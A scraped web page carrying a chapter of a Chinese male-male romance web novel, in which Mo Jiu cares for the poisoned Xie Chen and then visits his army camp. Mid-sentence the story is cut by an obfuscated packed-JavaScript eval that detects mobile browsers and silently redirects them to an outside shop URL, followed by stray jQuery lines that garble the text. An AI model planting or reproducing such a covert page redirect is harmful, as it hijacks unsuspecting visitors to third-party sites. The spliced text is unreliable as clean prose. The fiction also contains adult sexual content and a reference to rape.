默认冷灰
24号文字
方正启体

8. 讨

作者:雕宝本书字数:K更新时间:
    谢忱没察觉到自己整个人都淹进了水里,对上牧九凶狠的目光抹了脸上的水珠,反问:“你干什么?”


    牧九气得想骂脏话,可看着谢忱的脸又被憋了回去。


    他本来是到了时间来喊人,只看到头□□在水面上的时候魂都吓飞了,不想却直接被反咬一口。


    谢忱也没等他回答,理所当然地使唤人:“既然进来了帮我把澡袍拿过来。”


    牧九咬着牙把澡袍递给谢忱,却在谢忱接的时候陡然收手,用力把人拽出浴盆三下五除二裹好,弯腰勾着人的腿弯把人打横抱起来。


    谢忱双手双脚都缠在澡袍里,稍有动作就会散开。


    他微蹙眉:“放我下来!”


    牧九已经走到了床榻前,小心翼翼地把他放在床榻上,在谢忱要动作的时候握住他的双手,单膝跪在他面前。


    谢忱想抽回手却没能成功,牧九的力道太大了,他就去看牧九。


    牧九仰头看着他,眼神仿佛在说他是骗子:“你说过不会不要我。”


    谢忱觉得他又不像狼了,像狗崽,自己受了惊吓就反过来冲主子嗷嗷。


    过去的阴霾彻底被他嗷没了,难得露出了些平和柔软的模样:“我什么时候不要你了?”


    “可你想死。”动物的直觉非常敏锐,牧九闻出来了谢忱对死亡的憧憬。


    谢忱觉得他的眼神太热了,伸出一只手拍开他的脸:“胡说什么。”


    他这番动作弄散了衣裳,露出锁骨一片温润莹白的肌肤。


    牧九的眼神瞬间就变了,他只能低头避开谢忱的目光,却诡计多端地按住他的手在自己脸颊摩挲。


    “公子的心里能装下很多人,可我只有公子了,你不能不要我。”


    他低着头,肩背还有些颤抖,那是兴奋的,身体比他先一步感知到谢忱的纵容,违逆理智地兴奋起来。


    可他掩饰得很好,谢忱以为他在哭就真的心软了。


    他思索了片刻笼好衣裳,俯身虚虚的环住牧九,安抚的拍了拍他的脊背:“别哭,我不会丢下你。”


    牧九感觉自己被一团带着花香的云雾裹着,衣裳鼓起,觉得自己得逞了,恶劣地想让谢忱看他的真面目。


    好在谢忱只抱了一下就松开了。


    他觉得要控制不住自己了,垂着头退开道:“我去给公子擦头发。”


    等他拿着巾帕回来的时候谢忱已经躺下睡着了。


    他本就中毒,体力又消耗过甚,此刻睡得很沉。


    牧九就再无顾忌,露出了夜王的本性,就那么大大咧咧硬着给人擦头发,那细腻顺滑的头发滑过指尖就像一小簇火焰直往身体里窜。


    怎么有人头发这样乌黑浓密,可那处干净的只有绒毛……


    牧九更精神了,而且还有什么东西扫过去,又刺又硬,是自己的——


    比手心的头发硬多了。


    牧九在这样变态的欢愉中给谢忱擦完头发,听见夜空中的鸟鸣知道自己该走了,可刚出去两步又折回来。


    他小心翼翼地把人给抱出被窝,抽掉刚才被打湿的被褥,换上崭新干净的,又把人抱回去裹好,在屋里烧上炭盆。


    他做这些的时候轻手轻脚,最后在谢忱发梢落下一个吻,才翻身上马头趁着夜色狂奔而去。


    *


    夜明军的先锋就驻扎在月川城西北五十里开外的草野上,往后是供给他们粮草的天中郡,北侧隔着汉江就是北原的鹿原野。


    临近冬日,鹿原野正忙着准备互市用的马匹兽皮,好换取过冬的粮食,连守备都松懈了不少。


    这批人是半个月前从月川城门口退下来的,当时牧九断后,只让他们驻扎等待,一等就是大半月。


    换防下来的士兵围着火堆喝酒暖身体。


    “我们得在这地方里等多久?”一个士兵摘了头盔坐到火堆前:“再过两个月就要下雪了,到时候咋打?!”


    月川城在天月山北,冬天的风雪终日不停,刮在脸上跟刀子似的,北原人都出不来,更别说他们了。


    “郑叔别急嘛!”火堆前一个半大的少年递给他一串蘑菇:“大哥肯定有自己的主意。”


    老郑想到牧九,又叹了口气:“听说九爷在月川城里给人当近卫?到底怎么回事?谁敢让九爷去当近卫?!”


    提到这事,火堆前的几个人都看向正在啃蘑菇的少年。


    老郑着急地夺走他的蘑菇:“别只顾着吃,十一,你给大伙说说到底怎么回事?”


    十一心疼自己的蘑菇,那可是雨后刚摘的,新鲜的比肉都好吃,可顶着几个叔叔如狼似虎的眼神,不甘心小声说:“先让我吃完蘑菇嘛!”


    几人异口同声:“先说!”


    “就是大哥断后被慕容狗抓到了嘛,要被狼咬死的时候被那个公子给救了,他就把大哥要过去当近卫了。”十一眼睛还盯着被抢走的蘑菇:“我远远看过一眼,那公子长得可好看了!手比蘑菇还要白!”


    老郑眉头都皱成了川字:“能从慕容狗手里救人,他什么来头?”


    “大哥说是明雍来的,都叫他小……小仙人,我看大哥还挺喜欢他。”


    说者无心,听者有意,夜明军的将领都知道牧九的爱好,顿时心里一咯噔,九爷不会真看上明雍来的小白脸了吧!


    另一人立刻打断他:“九爷绝不会要明雍的人!肯定就是玩玩,将来说出去,我们九爷可是睡过明雍的男人!说出去多有面子,丢人也是明雍丢人!”


    其他几个人纷纷附和大笑。


    老郑说:“等九爷玩腻了,再敲诈明雍一笔!不给钱就扔营里,让我们也尝尝——”


    他话还没说完就觉得背后一阵寒意,汗毛炸起,仿佛被什么野兽盯上了。


    其他人的笑声戛然而止。


    牧九站在他背后,投下的阴影笼罩住这片死寂。


    “尝尝什么?”


    老郑几人立刻爬起来向牧九行礼,十一丢下蘑菇满脸欢喜地蹦到牧九面前:“大哥,你终于回来了!”


    牧九穿着谢忱给他买的玄色袍子,戴着银色发冠,和往日不修边幅的模样判若两人,直接把十一看得满眼冒星星:“大哥穿这身好看!”又忍不住夸了一遍:“真好看!”


    牧九缓了脸色揉了揉他的头,十一又看见身后士兵牵的马,眼更亮了:“北原马!哥!我能去摸摸吗?!”


    牧九点了头,纵容着看十一蹦跶过去,回身看老郑他们时还带着残余的笑意,冷得几人哆嗦。


    老郑他们唰跪下:“九爷饶命!”


    “那你说说,犯了什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163889|196610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么错求我饶命?”牧九问。


    “不…不该在营中擅议主将,动摇军心。”老郑满身冷汗,额头磕着地面根本不敢抬头。


    牧九却问:“你儿子是怎么死的?”


    老郑被问得一哆嗦,嘴唇翕动却说不出一个字。


    牧九命令:“说。”


    老郑闭上眼,咬着牙声音嘶哑:“被北原狗贼拖入营帐糟……糟蹋没了。”


    他佝偻着脊背,眼泪砸在黄土上泣不成声。


    “你不该求我,你该想想刚才那句话对不对得起你儿子。”


    牧九说完带着牧震虎走进大帐,背后的老郑缓缓直起腰背,悔恨地给了自己一巴掌。


    他怎么能和北原那些畜生一样呢!


    传言中的夜明军如鬼魅夜叉,可只有他们自己知道这支部队都会穷疯了,像样的铠甲都不足千件,还是从其他四郡的兵库里搜出来的。


    大帐内也四处漏风,打了好几处补丁。


    牧震虎要给牧九搬凳子,却被拒绝了。


    “我得在天亮前赶回去,有事直说。”


    牧震虎忧心地问:“月川的互市到底几时开?我们的粮食最多再撑一个月,再靠四郡今年冬天都得饿死。”


    实际上他更担心慕容显怕他们偷袭,取消今年的互市。


    “这几日就该定下了。”牧九倒是信心十足:“今年的互市一定会开,还会是历年最盛大的一次。”


    牧震虎不解其意。


    牧九戏谑勾唇:“他可就指望着互市的粮养肥兵马,来年好收拾我们呢。”


    可不巧的是他也看上这批粮了。


    平川五郡都在天月山以北的草原上,前朝的驻兵虽然建立了军屯,可到了现在已经全部荒废,五郡口粮都靠北齐和东越的粮商,而每年最后也最大批次的粮商就在冬日前这场互市。


    牧震虎听完忧心忡忡:“月川城里还有慕容显的两万精兵,要是真打起来,我们不一定是对手。”


    “那不打就是了。”牧九指尖把玩着箭镞,手指一扬直直定在地图上月川城的位置。


    “擒贼先擒王,我可有份大礼要送给慕容显。”


    两人又商量了具体的行军布防,牧九看东方渐亮,起身出帐,又想起来什么问牧震虎:“我之前猎的那几头雪狐呢?”


    牧震虎道:“做了个狐毛毯子,剩下的给十一做了个狐裘。”


    牧九觉得谢忱和十一的身量差不多,就道:“都给我,我有用。”


    牧震虎听话给他装了,看牧九骑马朝月川而去,还有些纳闷:“少主往年都不穿这些啊,今年怎么转性了?”


    这些当然是准备给谢忱的,娇滴滴的贵公子泡了热水澡都暖不热被窝,大半夜脚还凉得跟冰块似的,也不知道怎么睡着的。


    他卡着开城门的点飞奔回宅子,本以为谢忱昨晚睡得晚,这会儿应该还没起,他兴冲冲地拿着狐毛毯子去邀功。


    可跑近了却发现宅子门口黑压压一片身着甲胄的慕容显亲卫。


    他眸色微沉,牵马往宅子走去。


    那些亲卫认得他,放他进去。


    他刚走到月洞门,就看见慕容显和谢忱在花厅廊檐下对坐。


    拓跋显对谢忱说:“牧九你得还给我,其他人随便你挑。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)